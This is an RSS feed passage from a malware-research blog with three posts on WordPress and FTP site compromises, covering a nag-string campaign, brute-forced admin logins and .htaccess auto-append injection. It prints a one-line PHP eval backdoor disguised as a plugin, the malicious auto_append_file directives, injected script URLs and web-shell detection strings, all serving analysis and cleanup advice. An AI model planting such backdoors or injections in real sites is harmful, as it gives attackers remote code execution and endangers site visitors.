<p>What was really unusual was the the following text right after the closing &lt;/script&gt; tag: &#8220;<strong><span style="color: #993300;"><em>you need to pay for this crypt</em></span></strong>&#8220;.  On some sites it was just that. On other sites it could be several consecutive duplicates of the phrase:  &#8220;<span style="color: #993300;"><strong><em>you need to pay for this cryptyou need to pay for this cryptyou need to pay for this cryptyou need to pay for this crypt</em></strong></span>&#8221;</p>
<h3>How can you explain this message?</h3>
<p>My guess is hackers used a trial version of a JavaScript encryption software to generate their obfuscated malicious scripts.  When the trial period came to an end, the encryption software began to add the &#8220;<em>you need to pay for this crypt</em>&#8221; message after the generated scripts. Since the attackers use automated tools to generate scripts and infect websites, they simply didn&#8217;t notice that the injected piece of code contained a little extra that was actually visible on web pages (since it was outside of the &lt;script&gt; block). That&#8217;s why we can see the message right after the end of the malicious scripts.</p>
<p>So what about the duplicated messages? It can be easily explained. This attack updates the injected scripts every day. This helps prevent easy detection and automated removal. The iframe scr also changes every day to avoid blacklisting (e.g. today they use <em><span style="color: #993300;">tds13 .findhere .org</span></em>). The script that updates the injected code scans for the &lt;script&gt;&#8230;&lt;/script&gt; block with a known content and replaces it with a new version of the malicious code.  So the previous &#8220;<em>you need to pay for this crypt</em>&#8221; message remains intact and the new copy of the injected code contains the same nag message, which results in: &#8220;<span style="color: #993300;"><em>&#8230;&lt;/scripts&gt;you need to pay for this cryptyou need to pay for this crypt</em></span>&#8220;. And with every update this message becomes longer and longer.</p>
<p>A little variation of this hypothesis is it was a trial version of a whole exploitation kit rather than just of a JavaScript encryption module.</p>
<p>Is this plausible? Any other explanations? Let me know what you think about it.</p>
<h3>Prevalence</h3>
<p>Google <a href="http://www.google.com/safebrowsing/diagnostic?site=assexyas.com/">reports</a> 6148 infected sites. In my experience the real number of infected sites should be bigger.</p>
<p>At the same time, the &#8220;you need to pay for this crypt&#8221;  provides us with an alternative way to estimate the prevalence of the infection.  The [<a href="www.google.com/search?q=&quot;you+need+to+pay+for+this+crypt&quot;" target="_blank">"you need to pay for this crypt"</a>] Google search returns <strong>74,800</strong> results (not all of them are infected pages though) and the more specific [<a href="www.google.com/search?q=&quot;you+need+to+pay+for+this+cryptyou+need+to+pay+for+this+crypt&quot;">"you need to pay for this cryptyou need to pay"</a>] search returns <strong>34,700</strong> results.</p>
<h3>Nag message is gone</h3>
<p>At this moment the injected malicious script no longer contain the nag message. Moreover, this message has disappeared from the compromised sites.  So it looks the attackers:</p>
<ol>
<li>noticed the problem</li>
<li>got rid of the nag message (either paid for the software or hacked it)</li>
<li>updated their injection scripts to remove remnants of the nag messages when they updated the malicious code.</li>
</ol>
<h3>Mostly WordPress</h3>
<p>I checked many infected sites and most of them were WordPress blogs.  And when the sites were not WordPress blogs, I suspect that they shared the same hosting account with WordPress sites &#8212; it&#8217;s enough to have one compromised site to infect all other sites under the same account.</p>
<p>The malicious code is injected at the very top of the <strong>index.php</strong> files in site root directories and sometimes in the first level of subdirectories (e.g. <strong>wp-content</strong> and <strong>wp-admin</strong>). This affects all sites under the same account.</p>
<h3>ToolsPack</h3>
<p>On WordPress blogs the typical name of the doorway file is <strong><em>ToolsPack.php</em></strong>. It pretends to be a WordPress plugin and can be usually located in the <strong>wp-content/plugins/ToolsPack/</strong> directory. Here&#8217;s the content of the file:</p>
<p><code>&lt;?php<br />
/*<br />
Plugin Name: ToolsPack<br />
Description: Supercharge your WordPress site with powerful features previously only available to WordPress.com users. core release. Keep the plugin updated!<br />
Version: 1.2<br />
Author: Mark Stain<br />
Author URI: http://checkWPTools.com/<br />
*/<br />
$_REQUEST[e] ? <strong>eVAl( base64_decode( $_REQUEST[e] ) )</strong> : exit;<br />
?&gt;</code></p>
<p>In the latest versions I usually see a more simple code:</p>
<p><code>&lt;?php<br />
$_REQUEST[e] ? <strong>eVAl( base64_decode( $_REQUEST[e] ) )</strong> : exit;<br />
?&gt;</code></p>
<p>As you can see, this &#8220;plugin&#8221; copies description of a legitimate and popular <a href="http://wordpress.org/extend/plugins/jetpack/">JetPack</a> plugin, but provides only one line of code, which seems to be too little to supercharge WP with powerful features. Actually, this single line of code is indeed very powerfull as it allows the attackers to execute whatever PHP code they pass in the &#8220;<strong>e</strong>&#8221; parameter of requests to this file &#8212; typical backdoor.</p>
<p>Here are some real world log entries that show how this backdoor is used to reinfect sites:</p>
<p><code>83.69.224.227 - - [06/Mar/2012:03:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"<br />
83.69.224.227 - - [06/Mar/2012:06:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"<br />
83.69.224.227 - - [06/Mar/2012:08:21:50 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"<br />
83.69.224.227 - - [06/Mar/2012:09:17:41 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"<br />
83.69.224.227 - - [06/Mar/2012:10:18:45 -0500] "POST /wp-content/plugins/ToolsPack/ToolsPack.php HTTP/1.0" 200 1 "-" "Mozilla/4.76 [en] (Win98; U)"</code></p>
<p>BTW, <a href="http://whois.domaintools.com/checkwptools.com" target="_blank">checkWPTools .com</a> is not even registered at the moment.</p>
<p>On some sites, I found the whole ToolsPack &#8220;plugin&#8221; archive in <strong>/wp-content/uploads/ToolsPack.zip</strong>. I also found the same backdoor in a file named <strong><em>wpupload.php</em></strong>.</p>
<h3>To Webmasters</h3>
<p>It&#8217;s not yet clear how the backdoor was uploaded to those sites in the first place, but log analysis reveals many ongoing attempts to exploit vulnerabilities in <strong>TimThumb.php</strong> and <strong>1-flash-gallery</strong>.  So make sure to upgrade all themes and plugins that use the TimThumb library (or update the timthumb.php/thumb.php files yourself &#8211; you can find the latest version <a href="http://timthumb.googlecode.com/svn/trunk/timthumb.php">here</a>)</p>
<p>I also highly recommend to scan your local computers for malware (after all, most likely you opened infected web pages) and change passwords.</p>
<p>Also make sure your browser is up-to-date:</p>
<ul>
<li><a href="https://browsercheck.qualys.com/">https://browsercheck.qualys.com/</a></li>
<li><a href="http://www.mozilla.org/en-US/plugincheck/">http://www.mozilla.org/en-US/plugincheck/</a></li>
</ul>
<p>##<br />
Your comments and any additional information are welcome!</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2012/02/12/script-injection-ddns-name-and-backdoors/">Script Injection (*.ddns.name) and Backdoors</a></li>
<li><a href="http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/">Weak Passwords and Tainted WordPress Widgets</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/11/09/tmpwp_inc-or-not-your-typical-wordpress-attack/">/tmp/wp_inc or Not Your Typical WordPress Attack</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=yr8TTb6ZGCU:5yj6h1Kezkg:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=yr8TTb6ZGCU:5yj6h1Kezkg:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=yr8TTb6ZGCU:5yj6h1Kezkg:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=yr8TTb6ZGCU:5yj6h1Kezkg:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/03/07/you-need-to-pay-for-this-crypt-trial-version-of-malware/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Weak Passwords and Tainted WordPress Widgets</title>
		<link>http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/</link>
		<comments>http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/#comments</comments>
		<pubDate>Thu, 01 Mar 2012 15:47:26 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[brute-force]]></category>
		<category><![CDATA[log analysis]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[widgets]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=866</guid>
		<description><![CDATA[A few days ago I investigated a hack where the following script was injected into web pages:
&#60;sc ript src="hxxp://www .copytech .lu/js/java.js"&#62;&#60;/script&#62;
The script was at the very top of the HTML code and in the middle of the page. It was a WordPress site so I suggested to check the index.php and theme files for the [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago I investigated a hack where the following script was injected into web pages:</p>
<p><code>&lt;sc ript src="hxxp://<strong>www .copytech .lu/js/java.js</strong>"&gt;&lt;/script&gt;</code></p>
<p>The script was at the very top of the HTML code and in the middle of the page. It was a WordPress site so I suggested to check the <em>index.php</em> and <em>theme files</em> for the malicious code.</p>
<p>The topmost script was indeed in the theme&#8217;s <em>index.php</em> file. But theme files didn&#8217;t contain the script that I found in the middle of web pages&#8217; HTML code.<br />
<span id="more-866"></span></p>
<h3 id="widgets">Sidebar Widgets</h3>
<p>When I compared the code of the theme and the HTML of web pages, it became clear that the script was a part of a sidebar widget (stored in a database). I asked the webmaster to check code of theme widgets in WordPress admin interface (<strong>Appearance</strong> -&gt; <strong>Widgets</strong>) &#8212; the malicious script was found at the bottom of one widget.</p>
<p>This sort of WordPress widget injection is quite uncommon, so I needed to figure out how the attackers managed to inject the malicious code into WordPress database.</p>
<p>Initially, I had two hypotheses:</p>
<ul>
<li>The attackers logged into WordPress admin interface and modified the widget code (but where did they get the credentials?)</li>
<li>They used a backdoor script (web shell) to get the database password (from <em>wp-config.php</em>) and then used SQL commands to inject the code directly to a database (standard feature of many web shells)</li>
</ul>
<p>I asked the webmaster to change passwords of all WordPress users to prevent attacks via the first scenario and requested to provide site&#8217;s access logs so that I could try to find suspicious requests [to backdoors].</p>
<h3 id="log">Log Analysis</h3>
<p>The logs analysis revealed a few interesting things:</p>
<p>1. I found a few unsuccessful attempts to exploit known vulnerabilities in WordPress plugins (e.g. <em><strong>timthumb.php</strong>/<strong>cropper.php</strong></em>, <strong><em>1-flash-gallery</em></strong>) but there were no successful requests to anything that looked like a backdoor. &#8212; So, it looks like the backdoor scenario was incorrect.</p>
<p>2. Multiple POST requests to <strong>/wp-login.php</strong> from various IPs from all around the world. Many of them were consecutive.  Some IPs requested this URL hundreds of times in a short period. &#8212; This looks like a distributed brute-force attack &#8212; someone tried to guess WordPress login/password.</p>
<p>3. And finally, I found a session that seems to be the answer:</p>
<p>Someone from Brazil (IP <strong>201.0.108.40</strong>), logged into WordPress (on the first attempt)</p>
<p><code>201.0.108.40 - - [16/Feb/2012:14:51:11 -0700] "GET &lt;removed&gt;.com<strong>/wp-login.php</strong> HTTP/1.1" 200 2256 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"<br />
...<br />
201.0.108.40 - - [16/Feb/2012:14:51:16 -0700] "<strong>POST</strong> &lt;removed&gt;.com<strong>/wp-login.php</strong> HTTP/1.1" <strong>302</strong> - "http://&lt;removed&gt;.com/wp-login.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"<br />
...<br />
201.0.108.40 - - [16/Feb/2012:14:51:16 -0700] "GET &lt;removed&gt;.com<strong>/wp-admin/index.php</strong> HTTP/1.1" <strong>200</strong> 44602 "http://&lt;removed&gt;.com<strong>/wp-login.php</strong>" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"</code></p>
<p>then used a theme editor to modify the <strong><em>index.php</em></strong> file in the current theme</p>
<p><code>201.0.108.40 - - [16/Feb/2012:14:51:37 -0700] "GET &lt;removed&gt;.com<strong>/wp-admin/theme-editor.php</strong>?file=<strong>/themes/current-theme/index.php</strong>&amp;theme=Current+Theme&amp;dir=theme HTTP/1.1" <strong>200</strong> 34802 "http://&lt;removed&gt;.com/wp-admin/theme-editor.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"<br />
201.0.108.40 - - [16/Feb/2012:14:51:48 -0700] "<strong>POST</strong> &lt;removed&gt;.com<strong>/wp-admin/theme-editor.php</strong> HTTP/1.1" 302 - "http://&lt;removed&gt;.com<strong>/wp-admin/theme-editor.php</strong>?file=<strong>/themes/current-theme/index.php</strong>&amp;theme=Current+Theme&amp;dir=theme" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"<br />
201.0.108.40 - - [16/Feb/2012:14:51:49 -0700] "GET &lt;removed&gt;.com<strong>/wp-admin/theme-editor.php</strong>?file=/home/&lt;removed&gt;/html/<strong>wp-content/themes/&lt;current-theme&gt;/index.php</strong>&amp;theme=Current+Theme&amp;a=te&amp;scrollto=0 HTTP/1.1" <strong>200</strong> 35009 "http://&lt;removed&gt;.com<strong>/wp-admin/theme-editor.php</strong>?file=<strong>/themes/current-theme/index.php</strong>&amp;theme=Current+Theme&amp;dir=theme" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"</code></p>
<p>and then modified some <strong><em>widget</em></strong> in that theme</p>
<p><code>201.0.108.40 - - [16/Feb/2012:14:52:16 -0700] "GET &lt;removed&gt;.com<strong>/wp-admin/widgets.php</strong> HTTP/1.1" 200 88903 "http://&lt;removed&gt;.com/wp-admin/theme-editor.php?file=/home/&lt;removed&gt;/html/wp-content/themes/current-theme/index.php&amp;theme=News+Magazine+Theme+640&amp;a=te&amp;scrollto=0" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"<br />
...<br />
201.0.108.40 - - [16/Feb/2012:14:52:33 -0700] "<strong>POST</strong> &lt;removed&gt;.com<strong>/wp-admin/admin-ajax.php</strong> HTTP/1.1" 200 1692 "http://&lt;removed&gt;.com<strong>/wp-admin/widgets.php</strong>" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"<br />
</code></p>
<p>It all took less than two minutes. So that visitor definitely knew the WordPress admin password (only administrators can edit themes) and was only interested in modifying the <em>index.php</em> and some <em>widget</em> &#8212; the places where the malicious code was found later. And these were the only two minutes that the IP 201.0.108.40 worked with the site (at least during the two weeks that I had access logs for).</p>
<p>By the way, the webmaster told me that a few WordPress users, including the user with an administrative role, used &#8220;<strong>123456</strong>&#8221; as their passwords &#8212; no wonder the attackers managed to figure out the passwords.</p>
<p>That&#8217;s probably the first time I come across a massive attack that tries to guess WordPress admin credentials and then use them to modify current themes.</p>
<h3 id="scenario">Most probable scenario</h3>
<p>Hackers use brute force attacks to guess logins/passwords of WordPress blogs (I saw signs of similar attacks in access logs of some other sites too).</p>
<p>Once they find a working combination, they log into the compromised blogs and use a theme editor to inject a malicious code into theme files (usually<em> index.php</em>) and then use a widget editor to inject the same malicious code into &#8220;text&#8221; widgets (that allow raw HTML code).</p>
<h3 id="other">Other sites involved in the attack</h3>
<p>Then I checked a few other affected sites (<em>the &#8220;<span style="color: #993300;">copytech .lu</span>&#8221; scripts</em>) and they all were WordPress blogs with scripts injected at the very top of the HTML code and in the widget sections (if blogs used widgets).  Moreover, I found a few other malicious scripts injected by this attack. e.g.</p>
<p><code>&lt;sc ript src="hxxp://<strong>halldor .is/_inf/G3.js</strong>"&gt;&lt;/script&gt;</code></p>
<p>Here are some typical messages that you can find on Safe Browsing diagnostic pages of the affected sites:</p>
<blockquote><p>Malicious software is hosted on 3 domain(s), including <span style="color: #993300;">halo8.com</span>/, <span style="color: #993300;">fafonseca.com.br</span>/, <span style="color: #993300;">copytech.lu</span>/.</p>
<p>2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <span style="color: #993300;">copytech.lu</span>/, <span style="color: #993300;">clasingsky.com</span>/.</p></blockquote>
<p>and</p>
<blockquote><p>Malicious software is hosted on 1 domain(s), including <span style="color: #993300;">infcom.it</span>/.</p>
<p>2 domain(s) appear to be functioning as intermediaries for distributing malware to visitors of this site, including <span style="color: #993300;">halldor.is</span>/, <span style="color: #993300;">gesotim.org</span>/.</p></blockquote>
<p>The malicious scripts are usually intermediaries that simply load other malicious scripts from different sites. For example:</p>
<ul>
<li><span style="color: #993300;">hxxp://gesotim .org/_inf/index.php?action=iframe</span></li>
<li><span style="color: #993300;">hxxp://www.clasingsky .com/img/_inf/index.php?action=iframe</span></li>
</ul>
<p>It&#8217;s easy to notice that all those malicious scripts are loaded from compromised legitimate websites.  Hackers use this trick more and more. They place their malicious files in subdirectories of hacked web sites. So it&#8217;s always a good idea to regularly scan your servers for unwanted files.</p>
<h3 id="webmasters">Webmasters</h3>
<p>The only principle of website security that knows literally every webmaster and site owner is to use passwords that other people don&#8217;t know and can&#8217;t easily guess. However, this attack shows that many bloggers still don&#8217;t bother using strong passwords.</p>
<p>I&#8217;d like to use this chance to remind some password management best practices:</p>
<ol>
<li>Use strong passwords (not &#8220;123456&#8243;, not &#8220;qwerty&#8221;, not some common word or names) &#8212; attackers use automated tools to try hundreds (if not thousands) new combinations every day. Here are a couple of approaches to choosing strong passwords:
<ul>
<li>YouTube: <a href="http://www.youtube.com/watch?v=VYzguTdOmmU">How to choose a strong password &#8211; simple tips for better security</a> by Graham Cluley</li>
<li>xkcd:<a href="http://xkcd.com/936/">Password Strength</a></li>
</ul>
</li>
<li> Regularly change passwords</li>
<li>Don&#8217;t use the same passwords for different services and on different sites.</li>
<li>Use password managers like <a href="http://keepass.info/">KeePass</a> or <a href="http://lastpass.com/">LastPass</a> so that you don&#8217;t have to memorize every password (you still need to remember a master password and it should be strong).</li>
<li>Don&#8217;t use easy to guess user names. It&#8217;s another layer of your security, so &#8220;<strong><em>admin</em></strong>&#8221; and  &#8220;<strong><em>administrator</em></strong>&#8221; are the worst possible user names for site administrators.<br />
For WordPress users: Your WordPress administrator&#8217;s user name <em>should NOT be <strong>admin</strong></em> &#8211; it&#8217;s too easy to guess. If you still have the &#8220;admin&#8221; user, create a new administrator user with a different login and then remove the &#8220;admin&#8221; user.</li>
</ol>
<p>That&#8217;s the bare minimum that every webmaster should know about passwords.</p>
<p>##<br />
Your comments are welcome!</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">Beware: FileZilla Doesn’t Protect Your Passwords</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/08/24/hackers-target-unpatched-wooframework/">Hackers target unpatched WooFramework</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
<div id="_mcePaste" class="mcePaste" style="position: absolute; left: -10000px; top: 2405px; width: 1px; height: 1px; overflow: hidden;">
<h1 id="watch-headline-title"><span id="eow-title" class="long-title" title="How to choose a strong password - simple tips for better security" dir="ltr">How to choose a strong password &#8211; simple tips for better security </span></h1>
</div>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=cGXb5tMCgIA:L4Mj9KY_9hc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=cGXb5tMCgIA:L4Mj9KY_9hc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?i=cGXb5tMCgIA:L4Mj9KY_9hc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/unmaskparasites?a=cGXb5tMCgIA:L4Mj9KY_9hc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/unmaskparasites?d=qj6IDK7rITs" border="0"></img></a>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2012/03/01/weak-passwords-and-tainted-wordpress-widgets/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Lorem Ipsum and Twitter Trends in Malware. Update.</title>
		<link>http://blog.unmaskparasites.com/2012/02/18/lorem-ipsum-and-twitter-trends-in-malware-update/</link>
		<comments>http://blog.unmaskparasites.com/2012/02/18/lorem-ipsum-and-twitter-trends-in-malware-update/#comments</comments>
		<pubDate>Sat, 18 Feb 2012 09:23:39 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[gloa]]></category>
		<category><![CDATA[google_verify.php]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[lorem ipsum]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=864</guid>
		<description><![CDATA[A few weeks ago I published an article about an attack that hosted malware on a fast flux network of infected PCs and used a clever algorithm based on Twitter trends to generate four new hard-to-predict domain names every day.
Shortly after that I was contacted by foks, who shared some interesting information. He conducted his [...]]]></description>
			<content:encoded><![CDATA[<p>A few weeks ago I published an <a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/">article</a> about an attack that hosted malware on a fast flux network of infected PCs and used a clever algorithm based on Twitter trends to generate four new hard-to-predict domain names every day.</p>
<p>Shortly after that I was contacted by <a href="http://foks.se/">foks</a>, who shared some interesting information. He conducted his own investigation and found out how hackers injected those scripts into legitimate web pages. He also found a new (buggy) version of the malicious script.<br />
<span id="more-864"></span></p>
<h3 id="ftp">Attack via FTP</h3>
<p>Foks confirms that the attackers used FTP to downloads <strong>.html</strong> and <strong>.php</strong> files that contained &#8216;<em>index</em>&#8216;, &#8216;<em>main</em>&#8216; or &#8216;<em>default</em>&#8216; in their file names. Then they injected the <a href="http://blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#2012">malicious script</a> and uploaded modified files back to server.</p>
<h3 id="google_verify">Auto-appended google_verify.php</h3>
<p>But that&#8217;s not all. On some sites they uploaded a new &#8220;<strong><span style="color: #993300;"><em>google_verify.php</em></span></strong>&#8221; file into root directories (and sometimes into subdirectories). The only content of that <span style="color: #993300;"><em>google_verify.php</em></span> file is the same malicious JavaScript.</p>
<p>Then they created/modified <strong><em>.htaccess</em></strong> files in directories with <span style="color: #993300;"><em>google_verify.php</em></span> and added the following directives:</p>
<p><code>&lt;IfModule mod_php5.c&gt;<br />
php_value <strong>auto_append_file</strong> "google_verify.php"<br />
&lt;/IfModule&gt;</code></p>
<p><code>&lt;IfModule mod_php4.c&gt;<br />
php_value <strong>auto_append_file</strong> "google_verify.php"<br />
&lt;/IfModule&gt;</code></p>
<p>What these directives do is automatically append the content of the <span style="color: #993300;"><em>google_verify.php</em></span> to every <em>php</em> web page. This means that your legitimate .<strong>php</strong> files will remain unmodified but you still will be seeing the malicious script when you check the HTML code of generated web pages.</p>
<p>As I wrote in my previous article, I&#8217;ve been watching as this attack evolves and mutates for more than two years now. I don&#8217;t usually have access to compromised sites so I didn&#8217;t notice this auto-append trick before. Now a short google search session revealed that this trick was in use at least since summer of 2011.  <a href="http://stackoverflow.com/questions/6686354/virus-problem-google-verify-php-and-ftp-passwords" target="_blank">1</a>, <a href="http://wordpress.org/support/topic/fatal-error-unknown-failed-opening-required-google_verifyphp" target="_blank">2</a>, <a href="http://www.webhostingtalk.com/archive/index.php/t-1092991.html" target="_blank">3</a>.</p>
<p>It should be mentioned that every FTP attack came from different IP addresses. Most likely the attackers use their botnet to infect new websites. This corresponds to their approach to hide their central infrastructure behind the fast flux network of infected computers.</p>
<h3 id="buggy">New buggy script</h3>
<p>Foks also brought my attention to an <a href="http://pastebin.com/zQWepqtz">alternative version of the malicious script</a>. With minimal modifications, it looks almost the same as the <a href="http://pastebin.com/j8PNeSHC">original script</a>: the same &#8220;lorem ipsum&#8221; comments, the same code structure and variable names. But this new script didn&#8217;t fetch Twitter trends and didn&#8217;t try to load any malware.</p>
<p>So I looked at the script and tried to decode it. Apparently, the decoded version was a verbatim copy of the original decoded script with one small exception &#8212; one incorrect character which broke the whole script.</p>
<p><code><span style="color: #888888;">original</span>: window.gloa=(function()...<br />
<span style="color: #888888;">new</span>:      w<span style="color: #ff0000;"><strong>Í</strong></span>ndow.gloa=(function()...</code></p>
<p>The source of this error seems quite interesting. Let&#8217;s take a look at the encoded scripts. They both have long arrays of numbers that will be later converted to JavaScript code.  Both arrays are identical except for the first  four items:</p>
<p><code><span style="color: #888888;">original</span>: [<strong>89</strong>,<strong>75</strong>,<strong>80</strong>,70,81,89,16,73,78,81,67,...<br />
<span style="color: #888888;">new</span>:      ["L",<strong>189-20*cid</strong>,<strong><span style="color: #ff0000;">175</span></strong>,<strong>16*cid</strong>,70,81,89,16,73,78,81,67,...</code></p>
<p>Note, if <strong>cid==5</strong>, then the first three numeric items of the second array will be: <strong>89</strong>, <strong>175</strong>, <strong>80</strong>, which matches the first three item of the first array. The only difference is the <strong>75</strong>/<span style="color: #ff0000;"><strong>175</strong></span> pair. If you replace 175 with 75 in the second script, you will get a perfectly working code.</p>
<p>Apperently, the attackers <strong>manually</strong> modified the original script (probably to prevent detection by anti-malware scanners) and forgot to add something like <strong>-20*cid </strong>to that <strong><span style="color: #ff0000;">175</span></strong>. What even more lame, they failed to test the new script.</p>
<p>According to foks, the attackers switched to this buggy script around January 23rd and 3 weeks later they still use it. How come they don&#8217;t see it doesn&#8217;t work? I even began to worry whether that really was a bug, or this could be some little known feature of some browser&#8217;s JS engine that they tried to exploit. If you know the answer to this question, please let me know here or <a href="http://stackoverflow.com/q/9327918/230312">on the Stack Overflow</a>.</p>
<p>Meanwhile, (as of February 18th, 2012) the <a href="blog.unmaskparasites.com/2012/01/26/lorem-ipsum-and-twitter-trends-in-malware/#algo">domain name generating algorithm</a> described in my previous article still in use and my <a href="http://www.unmaskparasites.com/security-tools/twitter-malware-domain-generator.html" target="_blank">online demo</a> still correctly predicts new malicious domains. Of course, because of the bug in the new version of the script, only websites infected in the beginning of January still actually load malware from domains generated by this algorithm. And this fact is reflected in Google Safe Browsing diagnostic pages that show quite few infected websites now.</p>
<h3 id="webmasters">To Webmasters</h3>
<h4 id="cleanup">Clean up</h4>
<ol>
<li>Scan your server for <strong>.html </strong>and <strong>.php</strong> files (usually &#8216;<em>index</em>&#8216;, &#8216;<em>default</em>&#8216;, &#8216;<em>main</em>&#8216;) that contain the malicious code.  Examples of the malicious code:
<ul>
<li><a href="http://pastebin.com/j8PNeSHC">http://pastebin.com/36NC4Ugy</a></li>
<li><a href="http://pastebin.com/j8PNeSHC">http://pastebin.com/j8PNeSHC</a></li>
<li><a href="http://pastebin.com/zQWepqtz">http://pastebin.com/zQWepqtz</a></li>
</ul>
</li>
<li>Remove the the malicious code from your files.</li>
<li>Scan server for <strong><span style="color: #993300;"><em>google_verify.php </em></span></strong>files that contain the above malicious code. Delete them.</li>
<li>In the directories with <strong><span style="color: #993300;"><em>google_verify.php</em></span></strong>, check <strong><em>.htaccess</em></strong> files. If you find <span style="color: #993300;"><a href="#google_verify">php_value auto_append_file &#8220;google_verify.php&#8221;</a> </span>instructions there &#8212; remove them.</li>
<li>There might also be uploaded backdoor files and web shells. Scan your server for suspicious files that contain the following strings (the list is not complete):
<ul>
<li><em>FilesMan</em></li>
<li><em>eval(base64_decode</em></li>
<li><em>eval(gzinflate(base64_decode</em></li>
</ul>
</li>
</ol>
<h4 id="prevent">Prevent reinfections</h4>
<p>The most common way to <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">steal FTP passwords</a> is via malware on computers of webmasters.</p>
<ol>
<li>Scan all computers that have access to your websites for malware. Your anti-virus software should be up-to-date. Consider deep scans or even &#8220;scan on reboot&#8221; if your anti-virus provides such options.</li>
<li> Change all site passwords. Don&#8217;t save new passwords in FTP programs. Configure them so that they ask for a password every time you connect to your sites. If you work with multiple sites and don&#8217;t like the idea of memorizing many passwords, consider using password managers like <a href="http://www.keepass.info">KeePass</a> &#8212; they save your passwords much more securely.</li>
<li> Consider using SFTP instead of FTP that transfers your passwords in plain text. Most popular FTP programs support SFTP, so the switch should be painless.</li>
<li>Now you know that even benign sites as yours can be dangerous to visit. Don&#8217;t give malware a chance to infect your computer. Make sure your OS, web browser and browser plugins are up-to-date. You can scan your browser and browser plugins here:
<ol>
